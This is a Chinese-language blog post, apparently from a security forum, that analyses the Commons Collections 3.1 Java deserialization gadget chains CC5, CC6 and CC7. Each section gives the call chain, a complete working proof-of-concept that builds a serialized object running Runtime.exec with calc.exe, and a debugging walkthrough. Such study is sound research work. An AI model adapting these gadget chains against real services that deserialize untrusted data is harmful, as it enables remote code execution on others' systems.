CC5

前言

CC5是对CC3.1版本的利用,分析过CC1就很容易看懂CC5了。

可参考:
通俗易懂的Java Commons Collections 1分析

环境搭建

  • JDK 1.8
  • Commons Collections 3.1

pom.xml中添加:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
</dependencies>

利用链

ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

ysoserial中提示到这只适用于JDK 8u76,并且没有安全管理器;

前置知识

CC5中涉及到两个新的类,这里先介绍一下:

TiedMapEntry

该类有两个参数,一个Map类型,一个Object类型;
后面我们会使用到它的getValuetoString方法。

BadAttributeValueExpException

该类只有一个val参数。

POC分析

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
            inputStream.readObject();
        }catch(Exception e) {
            e.printStackTrace();
        }
    }
}

代码1

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

这一部分和CC1中LazyMap链一样,只要调用了LazyMap.get(),就可以触发ChainedTransformer.transform(),进而对transformers数组进行回调,然后执行命令。

代码2

TiedMapEntry tiedmap = new TiedMapEntry(outerMap, 123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

TiedMapEntry.getValue()调用了get(),参数map是可控的;

所以实例化TiedMapEntry类,将outerMap传进去,第二个参数可以随便填,用来占位;

接着,toString()方法又调用了getValue()方法;

继续找哪里调用了toString()方法;
BadAttributeValueExpException.readObject()调用了toString()方法;

valObj是从gf中的val参数获取的,而gf又是从反序列化流中读取的;
所以,相当于控制了val参数,就控制了valObj,这里就通过反射给val赋为TiedMapEntry类的实例化对象;
即调用了TiedMapEntry.toString(),这样就满足了命令执行需要的所以条件。

POC调试

BadAttributeValueExpException,readObject()跟起,valObj就获取到TiedMapEntry类的对象;

跟进toString

跟进getValue

跟进get,这里出现了一点问题,map中包含了一个key123,所以if判断为假,并没有进如if;

按道理是该进入if的,我又尝试了几次;
只在这个if这里断点,前面的断点都取消掉,那么map就没有key,可以进入if;

不知道这是什么原因,猜测是跟IDEA的调试机制有关吧;

继续,就跟到了ChainedTransformer.transform(),这里就对tranaforms数组进行循环回调;

循环到第三次InvokerTransformer.transform()

return后,成功执行命令;

CC6

前言

CC6还是通过调用LazyMap#get来触发RCE,任然用到了TiedMapEntry类,只不过调用TiedMapEntry#getValue的链不一样。

环境搭建

  • JDK 1.8
  • Commons Collections 3.1

pom.xml中添加:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
</dependencies>

利用链

java.io.ObjectInputStream.readObject()
         java.util.HashMap.readObject()
                 java.util.HashMap.put()
                 java.util.HashMap.hash()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                             org.apache.commons.collections.map.LazyMap.get()
                                  org.apache.commons.collections.functors.ChainedTransformer.transform()
                                  org.apache.commons.collections.functors.InvokerTransformer.transform()
                                   java.lang.reflect.Method.invoke()
                                          java.lang.Runtime.exec()

利用链分析

找到调用LazyMap#get的地方,任然是TiedMapEntry#getValuemap可控,传入LazyMap即可;

接下来寻找调用getValue()的地方,找到TiedMapEntry#hashCode

接着寻找调用hashCode()的地方,找到HashMap#hash

继续寻找调用hash()的地方,找到HashMap#put

最后,在HashSet#readObject中,调用了put()

POC分析

代码1

Transformer[] fakeTransformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"notepad.exe"}),
            };

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

构造两个Transformer数组,因为在后面调用add()的时候也会触发RCE,用两个不同的命令加以区分;

代码2

Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

new一个ChainedTransformer对象,先将fakeTransformers传进去;
同样new一个LazyMap对象;

代码3

TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"foo");
HashSet hashset = new HashSet();
hashset.add(tiedmap);
outerMap.remove("foo");

这里调用add()方法将含有恶意代码的对象传入hashSet,就不用像ysoserial中使用反射去传值,这样比较简便;

跟一下add()方法,这里的map是TiedMapEntry对象,跟进put

调用了hash方法,继续跟进,k也是TiedMapEntry对象;

跟进hashcode(),这里就调用到了getValue

跟进,map是LazyMap,调用了get方法;

来到get(),进入if,调用了transform

跟进,这里的iTransformers是我们传入的fakeTransformers,里面是notepad.exe命令;

命令执行;

可以看一下这时的调用栈;

当然在这里执行命令不算咯,得在反序列化时执行才有用,这里也可以不使用InvokerTransformer,只是为了更清楚的表达这里也会调用LazyMap#get,触发RCE;

继续分析,这里已经调用过一次LazyMap#get了,为了后面反序列化时,能进入get()的if判断,所以调用remove()将key值删除掉;

代码4

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

通过反射获取ChainedTransformeriTransformers变量,将含有我们反序列化时要执行的命令的transformers数组传进去,替换前面的fakeTransformers

完整POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {

        Transformer[] fakeTransformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"notepad.exe"}),
                };

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"foo");
        HashSet hashset = new HashSet();
        hashset.add(tiedmap);
        outerMap.remove("foo");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6.bin"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

POC调试

HashMap#readObject开始,调用了put

调用链和add()差不多,直接跟到InvokerTransformer;

命令执行成功;

CC7

前言

CC7也是对CC3.1版本的利用链,使用Hashtable作为反序列化的入口点,通过AbstractMap#equals来调用LazyMap#get

环境搭建

  • JDK 1.8
  • Commons Collections 3.1

pom.xml中添加:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
</dependencies>

利用链

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

利用链分析

看到Hashtable#readObject,循环调用了reconstitutionPutelements为传入的元素个数;

key和value都是从序列化流中得到的,序列化流中的值则是通过put传进去的;

跟进reconstitutionPut

for循环中调用了equals,我们先看看进入for循环的条件:e != null,而e = tab[index],此时tab[index]的值是为null的,所以不会进入for循环,下面的代码就是将key和value添加到tab中;

那如何才能进入for循环呢,既然调用一次reconstitutionPut不行,那我们就调用两次,也就是说put两个元素进Hashtable对象,这样elements的值就为2,readObject中的for循环就可以循环两次;
第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut中的for循环的时候,tab[index]中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;

接着看看if里面的判断,要求e.hash == hash,这里的e值为tab[index],也就是第一组传入的值,这里的hash是通过key.hashCode()获取的,也就是说要put两个hash值相等的元素进去才行;

继续跟进到AbstractMapDecorator#equals,这里的map是可控的,;

跟进到AbstractMap#equals,调用了m.get(),而m是根据传入的对象获取的,也就是说如果传入的是LazyMap类对象,那么这里就是调用的LazyMap#get,便可触发RCE;

POC分析

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {

        Transformer[] fakeTransformers = new Transformer[] {};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        lazyMap2.remove("yy");
        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));
            outputStream.writeObject(hashtable);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

代码1

Transformer[] fakeTransformers = new Transformer[] {};

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

和CC6一样,需要构造两个Transformer数组,因为在后面第二次调用hashtable.put()的时候也会调用到LazyMap#get,会触发RCE,可以跟进看一调用栈;

所以这里构造一个fakeTransformers,里面为空就行;

代码2

Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

先将fakeTransformers传入ChainedTransformer对象;
new两个HashMap对象,都调用LazyMap.decorate,并且分别向两个对象中传值,两个key值分别为yyzZ,因为需要这两个值的hash值相等,而在java中,yyzZ的hash值恰好相等;

然后将这两个LazyMap类对象put进Hashtable类对象;

代码3

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");

通过反射获取ChainedTransformeriTransformers变量,将含有我们反序列化时要执行的命令的transformers数组传进去,替换前面的fakeTransformers

最后还要remove掉yy,应为如果不去掉的话,第二次调用reconstitutionPut的时候就会存在两个key;

导致进入下面的if判断,直接返回false,不再执行后面的代码;

POC调试

第一次进入reconstitutionPut,将值传入tab:

第二次进入for循环:

进入equals,参数object是lazyMap2:

进入下一个equalsm就是LazyMap类:

进入get,成功调用transform()

命令执行成功;

参考链接:
https://paper.seebug.org/1242/
https://www.cnblogs.com/nice0e3/p/13890340.html

总结

CC链就先分析到这里,8、9、10等剩下的链以后再接着分析;
CC链1-7涉及两个CC版本,3.1和4.0;
3.1版本基本就是通过各种途径去调用LazyMap#get,从而实现RCE;
4.0版本则是通过调用TransformingComparator#compare来实现RCE;
相同点都在于是为了调用transform()
虽然几条链分析下来都大同小异,但也提升了不少分析代码的能力,获益匪浅。

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖